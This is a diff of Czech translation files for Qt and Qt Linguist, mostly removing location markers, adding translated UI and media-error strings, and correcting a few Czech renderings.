             Tato oblast ukazuje případn poznámky, jež vás mohou vést, a souvislosti, v nichž se text vyskytuje.
         
         
    -        
             Here you can enter comments for your own use. They have no effect on the translated applications.
             Sem můžete vepsat poznámky určené pro vaše vlastní použití. Na překlad nemají žádný vliv.
         
         
    -        
             %1 translation (%2)
             Překlad %1 (%2)
         
         
    -        
             This is where you can enter or modify the translation of the above source text.
             Tady můžete zadávat nebo měnit překlad zdrojového textu.
         
         
    -        
             %1 translation
             Překlad %1
         
         
    -        
             %1 translator comments
             %1 překladatelovy poznámky
         
         
    -        
             '%1'
     Line: %2
             '%1'
    @@ -1609,22 +2228,18 @@ Line: %2
     
         MessageModel
         
    -        
             Completion status for %1
             Stav zpracování %1
         
         
    -        
             <file header>
             <hlavička souboru>
         
         
    -        
             <context comment>
             <související poznámka>
         
         
    -        
             <unnamed context>
             <nepojmenovaná souvislost>
         
    @@ -1632,122 +2247,106 @@ Line: %2
     
         MsgEdit
         
    -        
             
             This is the right panel of the main window.
             
         
     
     
    +    PhraseBook
    +    
    +        Parse error at line %1, column %2 (%3).
    +        Chyba při zpracování na řádku %1, ve sloupci %2 (%3).
    +    
    +
    +
         PhraseBookBox
         
    -        
             
             Go to Phrase > Edit Phrase Book... The dialog that pops up is a PhraseBookBox.
             
         
         
    -        
             (New Entry)
             (Nový záznam)
         
         
    -        
             %1[*] - Qt Linguist
             %1[*] - Qt Linguist
         
         
    -        
             Qt Linguist
             Qt Linguist
         
         
    -        
             Cannot save phrase book '%1'.
             Nelze uložit slovník '%1'.
         
         
    -        
             Edit Phrase Book
             Upravit slovník
         
         
    -        
             This window allows you to add, modify, or delete entries in a phrase book.
             Toto okno vám umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.
         
         
    -        
             &Translation:
             &Překlad:
         
         
    -        
             This is the phrase in the target language corresponding to the source phrase.
             Toto je text, který v cílovém jazyce odpovídá zdrojovému textu.
         
         
    -        
             S&ource phrase:
             &Zdrojový text:
         
         
    -        
             This is a definition for the source phrase.
             Toto je vymezení zdrojového textu.
         
         
    -        
             This is the phrase in the source language.
             Toto je text ve zdrojovém jazyce.
         
         
    -        
             &Definition:
             &Vymezení:
         
         
    -        
             Click here to add the phrase to the phrase book.
             Sem klepněte kvůli vložení nového záznamu do slovníku.
         
         
    -        
             &New Entry
             &Nový záznam
         
         
    -        
             Click here to remove the entry from the phrase book.
             Sem klepněte kvůli odstranění nového záznamu ze slovníku.
         
         
    -        
             &Remove Entry
             &Odstranit záznam
         
         
    -        
             Settin&gs...
             &Nastavení...
         
         
    -        
             Click here to save the changes made.
             Sem klepněte kvůli uložení provedených změn.
         
         
    -        
             &Save
             &Uložit
         
         
    -        
             Click here to close this window.
             Sem klepněte kvůli zavření tohoto okna.
         
         
    -        
             Close
             Zavřít
         
    @@ -1755,17 +2354,14 @@ Line: %2
     
         PhraseModel
         
    -        
             Source phrase
             Zdrojový text
         
         
    -        
             Translation
             Překlad
         
         
    -        
             Definition
             Vymezení
         
    @@ -1773,22 +2369,18 @@ Line: %2
     
         PhraseView
         
    -        
             Insert
             Vložit
         
         
    -        
             Edit
             Upravit
         
         
    -        
             Guess (%1)
             Návrh (%1)
         
         
    -        
             Guess
             Návrh
         
    @@ -1796,76 +2388,67 @@ Line: %2
     
         QObject
         
    -        
             Compiled Qt translations
             Sestavené překlady Qt
         
         
    -        
             Translation files (%1);;
             Překladové soubory (%1);;
         
         
    -        
             All files (*)
             Všechny soubory (*)
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             Qt Linguist
             Qt Linguist
         
         
    -        
             GNU Gettext localization files
             Překladové soubory GNU Gettext
         
         
    -        
    +        GNU Gettext localization template files
    +        Soubory s předlohami pro překlad GNU Gettext
    +    
    +    
             Qt translation sources (format 1.1)
             Překladové soubory Qt (verze formátu 1.1)
         
         
    -        
             Qt translation sources (format 2.0)
             Překladové soubory Qt (verze formátu 2.0)
         
         
    -        
             Qt translation sources (latest format)
             Překladové soubory Qt (nejnovější formát)
         
         
    -        
             XLIFF localization files
             Překladové soubory XLIFF
         
         
    -        
             Qt Linguist 'Phrase Book'
             Slovník Qt Linguist
         
    +    
    +        lupdate version %1
    +
    +        Verze lupdate %1
    +
    +    
     
     
         SourceCodeView
         
    -        
             <i>Source code not available</i>
             <i>Zdrojový text není dostupný</i>
         
         
    -        
             <i>File %1 not available</i>
             <i>Soubor %1 není dostupný</i>
         
         
    -        
             <i>File %1 not readable</i>
             <i>Soubor %1 není čitelný</i>
         
    @@ -1873,42 +2456,34 @@ Line: %2
     
         Statistics
         
    -        
             Statistics
             Statistiky
         
         
    -        
             Translation
             Překlad
         
         
    -        
             Source
             Zdroj
         
         
    -        
             0
             0
         
         
    -        
             Words:
             Slov:
         
         
    -        
             Characters:
             Znaků:
         
         
    -        
             Characters (with spaces):
             Znaků (s mezerami):
         
         
    -        
             Close
             Zavřít
         
    @@ -1916,72 +2491,58 @@ Line: %2
     
         TranslateDialog
         
    -        
             This window allows you to search for some text in the translation source file.
             Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.
         
         
    -        
             Type in the text to search for.
             Zadejte text, který se má hledat.
         
         
    -        
             Find &source text:
             Hledat &zdrojový text:
         
         
    -        
             &Translate to:
             &Překlad:
         
         
    -        
             Search options
             Nastavení hledání
         
         
    -        
             Texts such as 'TeX' and 'tex' are considered as different when checked.
             Když je zapnuto, texty jako 'TeX' a 'tex' se považují za rozdílné.
         
         
    -        
             Match &case
             Dbát na &psaní velkých a malých písmen
         
         
    -        
             Mark new translation as &finished
             Nový překlad označit jako &vyřízený
         
         
    -        
             Click here to find the next occurrence of the text you typed in.
             Klepněte sem pro skok k dalšímu výskytu hledáného textu.
         
         
    -        
             Find Next
             Hledat dál
         
         
    -        
             Translate
             Přeložit
         
         
    -        
             Translate All
             Přeložit vše
         
         
    -        
             Click here to close this window.
             Klepněte sem pro zavření tohoto okna.
         
         
    -        
             Cancel
             Zrušit
         
    @@ -1989,33 +2550,26 @@ Line: %2
     
         TranslationSettingsDialog
         
    -        
             Any Country
             Země
         
         
    -        
    -        
             Settings for '%1' - Qt Linguist
             Nastavení pro '%1' - Qt Linguist
         
         
    -        
             Source language
             Zdrojový jazyk
         
         
    -        
             Language
             Jazyk
         
         
    -        
             Country/Region
             Země/Oblast
         
         
    -        
             Target language
             Cílový jazyk
         
    diff --git a/translations/qt_cs.ts b/translations/qt_cs.ts
    old mode 100644
    new mode 100755
    index e184f64..3e72f01
    --- a/translations/qt_cs.ts
    +++ b/translations/qt_cs.ts
    @@ -26,7 +26,6 @@
     
         CloseButton
         
    -        
             Close Tab
             Zavřít kartu
         
    @@ -34,45 +33,68 @@
     
         FakeReply
         
    -        
             Fake error !
             Napodobená chyba!
         
         
    -        
             Invalid URL
             Neplátné URL
         
     
     
    +    MAC_APPLICATION_MENU
    +    
    +        Services
    +        Služby
    +    
    +    
    +        Hide %1
    +        Skrýt %1
    +    
    +    
    +        Hide Others
    +        Skrýt ostatní
    +    
    +    
    +        Show All
    +        Ukázat vše
    +    
    +    
    +        Preferences...
    +        Nastavení...
    +    
    +    
    +        Quit %1
    +        Ukončit %1
    +    
    +    
    +        About %1
    +        O %1
    +    
    +
    +
         Phonon::
         
    -        
             Games
             Hry
         
         
    -        
             Music
             Hudba
         
         
    -        
             Video
             Video
         
         
    -        
             Communication
             Spojení
         
         
    -        
             Accessibility
             Dostupnost
         
         
    -        
             Notifications
             Oznámení
         
    @@ -80,32 +102,31 @@
     
         Phonon::AudioOutput
         
    -        
             <html>The audio playback device <b>%1</b> does not work.<br/>Falling back to <b>%2</b>.</html>
             <html>Zařízení pro přehrávání zvuku <b>%1</b> nepracuje.<br/>Místo něj <b>%2</b> se používá.</html>
         
         
    -        
             <html>Switching to the audio playback device <b>%1</b><br/>which just became available and has higher preference.</html>
             <html>Zařízení pro přehrávání zvuku <b>%1</b> bylo spuštěno,<br/>protože je právě dostupné a má větší přednost.</html>
         
         
    -        
             Revert back to device '%1'
             Přepnout zpět na zařízení '%1'
         
    +    
    +        <html>Switching to the audio playback device <b>%1</b><br/>which has higher preference or is specifically configured for this stream.</html>
    +        <html>Přepíná se na zvukové přehrávací zařízení <b>%1</b><br/>, které má větší přednost, nebo bylo zvláště nastaveno pro tento proud.</html>
    +    
     
     
         Phonon::Gstreamer::Backend
         
    -        
             Warning: You do not seem to have the base GStreamer plugins installed.
               All audio and video support has been disabled
             Upozornění: Zdá se, že zákládní přídavné moduly pro GStreamer nejsou nainstalovány.
     Podpora audia a videa byla vypnuta
         
         
    -        
             Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
               Some video features have been disabled.
             Varování: Balíček gstreamer0.10-plugins-good není nainstalován.
    @@ -115,50 +136,54 @@ Některé vlastnosti videa nejsou dostupné.
     
         Phonon::Gstreamer::MediaObject
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             Could not open media source.
             Zdroj s médii se nepodařilo otevřít.
         
         
    -        
             Could not decode media source.
             Zdroj s médii se nepodařilo rozluštit.
         
         
    -        
             Invalid source type.
             Neplatný typ zdroje s médii.
         
         
    -        
             Cannot start playback. 
     
     Check your Gstreamer installation and make sure you 
     have libgstreamer-plugins-base installed.
    -        Přehrávání nelze spustit.
    +        Přehrávání nelze spustit.
     
     Ověřte, prosím, instalaci Gstreamer a ujistěte se,
     že je nainstalován balíček libgstreamer-plugins-base.
         
         
    -        
             Could not open audio device. The device is already in use.
             Zvukové zařízení se nepodařilo otevřít, protože se již používá.
         
         
    -        
             A required codec is missing. You need to install the following codec(s) to play this content: %0
             Všechny vyžadované kodeky nejsou nainstalovány. Kvůli přehrání tohoto obsahu je potřeba nainstalovat následující kodek(y): %0
         
         
    -        
    +        Cannot start playback. 
    +
    +Check your GStreamer installation and make sure you 
    +have libgstreamer-plugins-base installed.
    +        Přehrávání nelze spustit.
    +
    +Ověřte, prosím, instalaci Gstreamer a ujistěte se,
    +že je nainstalován balíček libgstreamer-plugins-base.
    +    
    +    
    +        Missing codec helper script assistant.
    +        Chybí skriptový pomocník pro nápovědu ke kodeku.
    +    
    +    
    +        Plugin codec installation failed for codec: %0
    +        Instalace přídavného modulu kodeku se nezdařila pro kodek: %0
    +    
    +    
             Could not locate media source.
             Zdroj s médii se nepodařilo nalézt.
         
    @@ -166,95 +191,360 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
     
         Phonon::MMF
         
    -        
             Audio Output
             Výstup zvuku
         
         
    -        
             The audio output device
             Zařízení pro výstup zvuku
         
    +    
    +        No error
    +        Žádná chyba
    +    
    +    
    +        Not found
    +        Nenalezeno
    +    
    +    
    +        Out of memory
    +        Není dostupná žádná další paměť
    +    
    +    
    +        Not supported
    +        Nepodporováno
    +    
    +    
    +        Overflow
    +        Přetečení
    +    
    +    
    +        Underflow
    +        Podtečení
    +    
    +    
    +        Already exists
    +        Již existuje
    +    
    +    
    +        Path not found
    +        Cesta nenalezena
    +    
    +    
    +        In use
    +        Již se používá
    +    
    +    
    +        Not ready
    +        Nepřipraven
    +    
    +    
    +        Access denied
    +        Přístup odepřen
    +    
    +    
    +        Could not connect
    +        Nepodařilo se vytvořit žádné spojení
    +    
    +    
    +        Disconnected
    +        Odpojeno
    +    
    +    
    +        Permission denied
    +        Přístup odepřen
    +    
    +    
    +        Insufficient bandwidth
    +        Nedostatečná šířka pásma
    +    
    +    
    +        Network unavailable
    +        Síť není dostupná
    +    
    +    
    +        Network communication error
    +        Chyba při spojení přes síť
    +    
    +    
    +        Streaming not supported
    +        Proudění nepodporováno
    +    
    +    
    +        Server alert
    +        Stav pohotovosti serveru
    +    
    +    
    +        Invalid protocol
    +        Neplatný protokol
    +    
    +    
    +        Invalid URL
    +        Neplátné URL
    +    
    +    
    +        Multicast error
    +        Chyba ve vícepočítání (multicast)
    +    
    +    
    +        Proxy server error
    +        Chyba při spojení u zprostředkujícího serveru (proxy)
    +    
    +    
    +        Proxy server not supported
    +        Zprostředkující server nepodporován
    +    
    +    
    +        Audio output error
    +        Chyba při výstupu zvuku
    +    
    +    
    +        Video output error
    +        Chyba při výstupu obrazu
    +    
    +    
    +        Decoder error
    +        Chyba v dekodéru
    +    
    +    
    +        Audio or video components could not be played
    +        Zvukové nebo obrazové složky se nepodařilo přehrát
    +    
    +    
    +        DRM error
    +        Chyba DRM
    +    
    +    
    +        Unknown error (%1)
    +        Neznámá chyba (%1)
    +    
    +
    +
    +    Phonon::MMF::AbstractMediaPlayer
    +    
    +        Not ready to play
    +        Nepřipraven k přehrávání
    +    
    +    
    +        Error opening file
    +        Soubor se nepodařilo otevřít
    +    
    +    
    +        Error opening URL
    +        Adresu se nepodařilo otevřít
    +    
    +    
    +        Error opening resource
    +        Nepodařilo se otevřít prostředky
    +    
    +    
    +        Error opening source: resource not opened
    +        Zdroj se nepodařilo otevřít: prostředek není otevřen
    +    
    +    
    +        Setting volume failed
    +        Hlasitost se nepodařilo nastavit
    +    
    +    
    +        Loading clip failed
    +        Ukázku se nepodařilo nahrát
    +    
    +    
    +        Playback complete
    +        Přehrávání dokončeno
    +    
    +    
    +        Download error
    +        Chyba při stahování
    +    
    +
    +
    +    Phonon::MMF::AbstractVideoPlayer
    +    
    +        Pause failed
    +        Pozastavení se nepodařilo provést
    +    
    +    
    +        Seek failed
    +        Hledání se nepodařilo provést
    +    
    +    
    +        Getting position failed
    +        Polohu se nepodařilo určit
    +    
    +    
    +        Opening clip failed
    +        Ukázku se nepodařilo otevřít
    +    
     
     
         Phonon::MMF::AudioEqualizer
         
    -        
             Frequency band, %1 Hz
    -        Kmitočtové pásmo, %1 Hz
    +        Kmitočtové pásmo, %1 Hz
    +    
    +    
    +        %1 Hz
    +        %1 Hz
    +    
    +
    +
    +    Phonon::MMF::AudioPlayer
    +    
    +        Getting position failed
    +        Polohu se nepodařilo určit
    +    
    +
    +
    +    Phonon::MMF::DsaVideoPlayer
    +    
    +        Video display error
    +        Chyba při zobrazení videa
         
     
     
         Phonon::MMF::EffectFactory
         
    -        
             audio equalizer
    -        zvukový ekvalizér
    +        zvukový ekvalizér
         
         
    -        
             Bass boost
    -        Zdůraznění basů
    +        Zdůraznění basů
         
         
    -        
             Distance Attenuation
    -        Zeslabení v závislosti na vzdálenosti
    +        Zeslabení v závislosti na vzdálenosti
         
         
    -        
    -        
             Environmental Reverb
    -        Vnější ozvěna
    +        Vnější ozvěna
         
         
    -        
             Loudness
    -        Hlasitost
    +        Hlasitost
         
         
    -        
             Source Orientation
    -        Zaměření zdroje
    +        Zaměření zdroje
         
         
    -        
             Stereo Widening
    -        Rozšíření sterea
    +        Rozšíření sterea
    +    
    +    
    +        Enabled
    +        Povoleno
    +    
    +
    +
    +    Phonon::MMF::EnvironmentalReverb
    +    
    +        Decay HF ratio (%)
    +        DecayHFRatio: Ratio of high-frequency decay time to the value specified by DecayTime.
    +        Poměr dozvuku u vysokých kmitočtů (%)
    +    
    +    
    +        Decay time (ms)
    +        DecayTime: Time over which reverberation is diminished.
    +        Čas dozvuku (ms)
    +    
    +    
    +        Density (%)
    +        Density Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Diffusion value.
    +        Hustota (%)
    +    
    +    
    +        Diffusion (%)
    +        Diffusion: Delay between first and subsequent reflections. Note that the S60 platform documentation does not make clear the distinction between this value and the Density value.
    +        Rozptyl (%)
    +    
    +    
    +        Reflections delay (ms)
    +        ReflectionsDelay: Amount of delay between the arrival the direct path from the source and the arrival of the first reflection.
    +        Zpoždění odrazu (ms)
    +    
    +    
    +        Reflections level (mB)
    +        ReflectionsLevel: Amplitude of reflections. This value is corrected by the RoomLevel to give the final reflection amplitude.
    +        Síla odrazu (mB)
    +    
    +    
    +        Reverb delay (ms)
    +        ReverbDelay: Amount of time between arrival of the first reflection and start of the late reverberation.
    +        Zpoždění ozvěny (ms)
    +    
    +    
    +        Reverb level (mB)
    +        ReverbLevel Amplitude of reverberations. This value is corrected by the RoomLevel to give the final reverberation amplitude.
    +        Síla ozvěny (mB)
    +    
    +    
    +        Room HF level
    +        RoomHFLevel: Amplitude of low-pass filter used to attenuate the high frequency component of reflected sound.
    +        Hladina vysokého kmitočtu v prostoru
    +    
    +    
    +        Room level (mB)
    +        RoomLevel: Master volume control for all reflected sound.
    +        Hladina prostoru (mB)
    +    
    +
    +
    +    Phonon::MMF::MediaObject
    +    
    +        Error opening source: type not supported
    +        Zdroj se nepodařilo otevřít: tento typ není podporován
    +    
    +    
    +        Error opening source: resource is compressed
    +        Zdroj se nepodařilo otevřít: prostředek je zkomprimován
    +    
    +    
    +        Error opening source: resource not valid
    +        Zdroj se nepodařilo otevřít: prostředek není platný
    +    
    +    
    +        Error opening source: media type could not be determined
    +        Zdroj se nepodařilo otevřít: nepodařilo se určit typ média
    +    
    +
    +
    +    Phonon::MMF::StereoWidening
    +    
    +        Level (%)
    +        Síla (%)
    +    
    +
    +
    +    Phonon::MMF::SurfaceVideoPlayer
    +    
    +        Video display error
    +        Chyba při zobrazení videa
         
     
     
         Phonon::VolumeSlider
         
    -        
    -        
    -        
    -        
             Volume: %1%
             Hlasitost: %1%
         
         
    -        
    -        
    -        
             Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%
             Posuvník se používá k nastavení hlasitosti. Poloha nejvíce vlevo odpovídá 0%; poloha nejvíce vpravo odpovídá %1%
         
         
    -        
             Muted
    -        Ztlumení
    +        Ztlumeno
         
     
     
         Q3Accel
         
    -        
             %1, %2 not defined
             %1, %2 nejsou stanoveny
         
         
    -        
             Ambiguous %1 not handled
             Nejednoznačné %1 nemohou být zpracovány
         
    @@ -262,27 +552,22 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
     
         Q3DataTable
         
    -        
             True
             Pravdivý
         
         
    -        
             False
    -        Nesprávný
    +        Nepravdivý
         
         
    -        
             Delete
             Smazat
         
         
    -        
             Insert
             Vložit
         
         
    -        
             Update
             Obnovit
         
    @@ -290,224 +575,170 @@ Ověřte, prosím, instalaci Gstreamer a ujistěte se,
     
         Q3FileDialog
         
    -        
    -        
             &OK
             &OK
         
         
    -        
             &No
             &Ne
         
         
    -        
             Dir
             Adresář
         
         
    -        
             &Yes
             &Ano
         
         
    -        
             Back
             Zpět
         
         
    -        
             Date
             Datum
         
         
    -        
             File
             Soubor
         
         
    -        
             Name
             Název
         
         
    -        
    -        
    -        
             Open
             Otevřít
         
         
    -        
             Size
             Velikost
         
         
    -        
             Sort
             Roztřídit
         
         
    -        
             Type
             Typ
         
         
    -        
    -        
    -        
             &Open
             &Otevřít
         
         
    -        
    -        
             &Save
             &Uložit
         
         
    -        
    -        
             Error
             Chyba
         
         
    -        
             Open 
             Otevřít
         
         
    -        
    -        
             Write: %1
             Zapsat: %1
         
         
    -        
             Sort by &Size
             Roztřídit podle &velikosti
         
         
    -        
             Sort by &Date
             Roztřídit podle &data
         
         
    -        
             Sort by &Name
             Roztřídit podle &názvu
         
         
    -        
             New Folder 1
             Nová složka 1
         
         
    -        
             the directory
             Adresář
         
         
    -        
             File &type:
             Typ &souboru:
         
         
    -        
    -        
    -        
             File &name:
             Název &souboru:
         
         
    -        
             Delete %1
             Smazat %1
         
         
    -        
    -        
             Cancel
             Zrušit
         
         
    -        
             R&eload
             Nahrát &znovu
         
         
    -        
             New Folder
             Nová složka
         
         
    -        
             &Unsorted
             &Neroztříděné
         
         
    -        
             Look &in:
             Hle&dat v:
         
         
    -        
             Preview File Contents
             Náhled obsahu souboru
         
         
    -        
             New Folder %1
             Nová složka %1
         
         
    -        
             Read-write
             Číst/Zapisovat
         
         
    -        
             Read-only
             Pouze číst
         
         
    -        
             Copy or Move a File
             Soubor kopírovat nebo posunout
         
         
    -        
             <qt>Are you sure you wish to delete %1 "%2"?</qt>
             <qt>Jste si jistý, že chcete smazat %1 "%2"?</qt>
         
         
    -        
             Find Directory
             Najít adresář
         
         
    -        
             Attributes
             Vlastnosti
         
         
    -        
             Show &hidden files
             &Ukázat skryté soubory
         
         
    -        
    -        
             Save As
             Uložit jako
         
         
    -        
             Inaccessible
             Nepřístupné
         
         
    -        
             %1
     File not found.
     Check path and filename.
    @@ -516,106 +747,82 @@ Soubor se nepodařilo nalézt.
     Ověřte cestu a název souboru.
         
         
    -        
             List View
             Pohled se seznamem
         
         
    -        
             Special
             Zvláštní vlastnost
         
         
    -        
             Write-only
             Pouze zápis
         
         
    -        
             the symlink
             Symbolický odkaz
         
         
    -        
             &Delete
             &Smazat
         
         
    -        
    -        
    -        
    -        
             All Files (*)
             Všechny soubory (*)
         
         
    -        
    -        
             Directories
             Adresáře
         
         
    -        
             Symlink to Special
             Symbolický odkaz k zvláštnímu souboru
         
         
    -        
             Select a Directory
             Vyberte adresář
         
         
    -        
             All Files (*.*)
             Všechny soubory (*.*)
         
         
    -        
             Read: %1
             Číst: %1
         
         
    -        
             &Rename
             &Přejmenovat
         
         
    -        
             Directory:
             Adresář:
         
         
    -        
             One directory up
             O jeden adresář nahoru
         
         
    -        
             Preview File Info
             Náhled informace o souboru
         
         
    -        
             the file
             Soubor
         
         
    -        
             Create New Folder
             Vytvořit novou složku
         
         
    -        
             Symlink to File
             Symbolický odkaz k souboru
         
         
    -        
             Symlink to Directory
             Symbolický odkaz k adresáři
         
         
    -        
             Detail View
             Podrobný pohled
         
    @@ -623,36 +830,30 @@ Ověřte cestu a název souboru.
     
         Q3LocalFs
         
    -        
             Could not open
     %1
             Nepodařilo se otevřít:
     %1
         
         
    -        
             Could not remove file or directory
     %1
             Nepodařilo se odstranit soubor nebo adresář
     %1
         
         
    -        
             Could not create directory
     %1
             Nepodařilo se vytvořit adresář
     %1
         
         
    -        
    -        
             Could not read directory
     %1
             Nepodařilo se přečíst adresář
     %1
         
         
    -        
             Could not rename
     %1
     to
    @@ -663,7 +864,6 @@ na
     %2
         
         
    -        
             Could not write
     %1
             Nepodařilo se zapsat:
    @@ -673,12 +873,10 @@ na
     
         Q3MainWindow
         
    -        
             Line up
             Uspořádat
         
         
    -        
             Customize...
             Přizpůsobit...
         
    @@ -686,7 +884,6 @@ na
     
         Q3NetworkProtocol
         
    -        
             Operation stopped by the user
             Operace byla zastavena uživatelem
         
    @@ -694,8 +891,6 @@ na
     
         Q3ProgressDialog
         
    -        
    -        
             Cancel
             Zrušit
         
    @@ -703,28 +898,22 @@ na
     
         Q3TabDialog
         
    -        
    -        
             OK
             OK
         
         
    -        
             Help
             Nápověda
         
         
    -        
             Apply
             Použít
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Defaults
             Výchozí
         
    @@ -732,38 +921,30 @@ na
     
         Q3TextEdit
         
    -        
             Cu&t
             Vyj&mout
         
         
    -        
             &Copy
             &Kopírovat
         
         
    -        
             &Redo
             &Znovu
         
         
    -        
             &Undo
             &Zpět
         
         
    -        
             Clear
             Smazat
         
         
    -        
             &Paste
             &Vložit
         
         
    -        
    -        
             Select All
             Vybrat vše
         
    @@ -771,12 +952,10 @@ na
     
         Q3TitleBar
         
    -        
             Close
             Zavřít
         
         
    -        
             Minimize
             Zmenšit
         
    @@ -785,57 +964,46 @@ na
             Dá velikost zmenšeného okna zpátky do obvyklého stavu
         
         
    -        
             Displays the name of the window and contains controls to manipulate it
             Zobrazí název okna a obsahuje příkazy pro zacházení s ním
         
         
    -        
             Makes the window full screen
             Dá okno na celou obrazovku
         
         
    -        
             System
             Systém
         
         
    -        
             Maximize
             Zvětšit
         
         
    -        
             Contains commands to manipulate the window
             Obsahuje příkazy pro zacházení s velikostí okna
         
         
    -        
             Restore up
             Obnovit
         
         
    -        
             Puts a minimized window back to normal
             Dá velikost zmenšeného okna zpátky do obvyklého stavu
         
         
    -        
             Closes the window
             Zavře okno
         
         
    -        
             Puts a maximized window back to normal
             Dá velikost zvětšeného okna zpátky do obvyklého stavu
         
         
    -        
             Moves the window out of the way
             Zmenší okno
         
         
    -        
             Restore down
             Obnovit
         
    @@ -843,7 +1011,6 @@ na
     
         Q3ToolBar
         
    -        
             More...
             Více...
         
    @@ -851,51 +1018,38 @@ na
     
         Q3UrlOperator
         
    -        
             The protocol `%1' does not support getting files
             Protokol `%1' nepodporuje nahrávání souborů
         
         
    -        
             The protocol `%1' does not support renaming files or directories
             Protokol `%1' nepodporuje přejmenovávání souborů nebo adresářů
         
         
    -        
             The protocol `%1' does not support listing directories
             Protokol `%1' nepodporuje sestavování seznamu adresářů
         
         
    -        
    -        
             (unknown)
             (neznámý)
         
         
    -        
             The protocol `%1' does not support removing files or directories
             Protokol `%1' nepodporuje odstraňování souborů nebo adresářů
         
         
    -        
             The protocol `%1' does not support putting files
             Protokol `%1' nepodporuje ukládání souborů
         
         
    -        
    -        
    -        
             The protocol `%1' is not supported
             Protokol `%1' není podporován
         
         
    -        
    -        
             The protocol `%1' does not support copying or moving files or directories
             Protokol `%1' nepodporuje kopírování či přesun souborů nebo adresářů
         
         
    -        
             The protocol `%1' does not support creating new directories
             Protokol `%1' nepodporuje vytváření nových adresářů
         
    @@ -903,27 +1057,22 @@ na
     
         Q3Wizard
         
    -        
             &Help
             &Nápověda
         
         
    -        
             &Cancel
             &Zrušit
         
         
    -        
             &Finish
             Do&končit
         
         
    -        
             &Next >
             &Další >
         
         
    -        
             < &Back
             < &Zpět
         
    @@ -931,44 +1080,30 @@ na
     
         QAbstractSocket
         
    -        
    -        
    -        
    -        
             Host not found
             Nepodařilo se najít počítač
         
         
    -        
    -        
    -        
             Connection refused
             Spojení bylo odmítnuto
         
         
    -        
             Connection timed out
             Časový limit pro spojení byl překročen
         
         
    -        
             Socket is not connected
             Zásuvka (socket) není spojena
         
         
    -        
             Socket operation timed out
             Časový limit pro zásuvkovou (socket) operaci byl překročen
         
         
    -        
             Network unreachable
             Síť není dosažitelná
         
         
    -        
    -        
    -        
             Operation on socket is not supported
             Tato zásuvková (socket) operace není podporována
         
    @@ -976,17 +1111,14 @@ na
     
         QAbstractSpinBox
         
    -        
             Step &down
             Krok &dolů
         
         
    -        
             &Step up
             &Krok nahoru
         
         
    -        
             &Select All
             &Vybrat vše
         
    @@ -994,7 +1126,6 @@ na
     
         QAccessibleButton
         
    -        
             Press
             Stisknout
         
    @@ -1002,7 +1133,6 @@ na
     
         QApplication
         
    -        
             Activates the program's main window
             Spustí hlavní okno programu
         
    @@ -1011,22 +1141,18 @@ na
             LTR
         
         
    -        
             Activate
             Spustit
         
         
    -        
             Executable '%1' requires Qt %2, found Qt %3.
             Použití '%1' vyžaduje Qt %2; bylo ale nalezeno Qt %3.
         
         
    -        
             Incompatible Qt Library Error
             Qt není slučitelná
         
         
    -        
             QT_LAYOUT_DIRECTION
             Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.
             LTR
    @@ -1035,22 +1161,18 @@ na
     
         QAxSelect
         
    -        
             OK
             OK
         
         
    -        
             COM &Object:
             COM-&Objekt:
         
         
    -        
             &Cancel
             &Zrušit
         
         
    -        
             Select ActiveX Control
             Vybrat prvek ActiveX
         
    @@ -1058,17 +1180,14 @@ na
     
         QCheckBox
         
    -        
             Check
             Označit křížkem
         
         
    -        
             Toggle
             Přepnout
         
         
    -        
             Uncheck
             Zrušit označení křížkem
         
    @@ -1076,57 +1195,46 @@ na
     
         QColorDialog
         
    -        
             &Red:
             &Červená:
         
         
    -        
             &Sat:
             &Sytost:
         
         
    -        
             &Val:
             &Jasnost:
         
         
    -        
             Hu&e:
             Barevný &odstín:
         
         
    -        
             Select Color
             Vybrat barvu
         
         
    -        
             &Add to Custom Colors
             &Přidat k uživatelem stanoveným barvám
         
         
    -        
             Bl&ue:
             &Modrá:
         
         
    -        
             &Green:
             &Zelená:
         
         
    -        
             &Basic colors
             Základní &barvy
         
         
    -        
             &Custom colors
             &Uživatelem stanovené barvy
         
         
    -        
             A&lpha channel:
             A&lfa kanál:
         
    @@ -1134,23 +1242,18 @@ na
     
         QComboBox
         
    -        
    -        
             Open
             Otevřít
         
         
    -        
             True
             Pravdivý
         
         
    -        
             Close
             Zavřít
         
         
    -        
             False
             Nesprávný
         
    @@ -1158,19 +1261,16 @@ na
     
         QCoreApplication
         
    -        
             %1: key is empty
             QSystemSemaphore
             %1: Neplatný údaj u klíče (prázdný)
         
         
    -        
             %1: unable to make key
             QSystemSemaphore
             %1: Nepodařilo se vytvořit klíč
         
         
    -        
             %1: ftok failed
             QSystemSemaphore
             %1: Vyvolání ftok se nezdařilo
    @@ -1188,25 +1288,21 @@ na
             %1: Vyvolání ftok se nezdařilo
         
         
    -        
             %1: already exists
             QSystemSemaphore
             %1: Již existuje
         
         
    -        
             %1: does not exist
             QSystemSemaphore
             %1: Neexistuje
         
         
    -        
             %1: out of resources
             QSystemSemaphore
             %1: Nejsou již použitelné zdroje
         
         
    -        
             %1: unknown error %2
             QSystemSemaphore
             %1: Neznámá chyba %2
    @@ -1215,22 +1311,18 @@ na
     
         QDB2Driver
         
    -        
             Unable to commit transaction
             Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
         
         
    -        
             Unable to set autocommit
             'autocommit' se nepodařilo nastavit
         
         
    -        
             Unable to connect
             Nepodařilo se navázat spojení
         
         
    -        
             Unable to rollback transaction
             Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
         
    @@ -1238,33 +1330,26 @@ na
     
         QDB2Result
         
    -        
             Unable to bind variable
             Proměnnou se nepodařilo provést
         
         
    -        
    -        
             Unable to execute statement
             Příkaz se nepodařilo provést
         
         
    -        
             Unable to fetch next
             Další datový záznam se nepodařilo natáhnout
         
         
    -        
             Unable to prepare statement
             Příkaz se nepodařilo připravit
         
         
    -        
             Unable to fetch record %1
             Datový záznam %1 se nepodařilo natáhnout
         
         
    -        
             Unable to fetch first
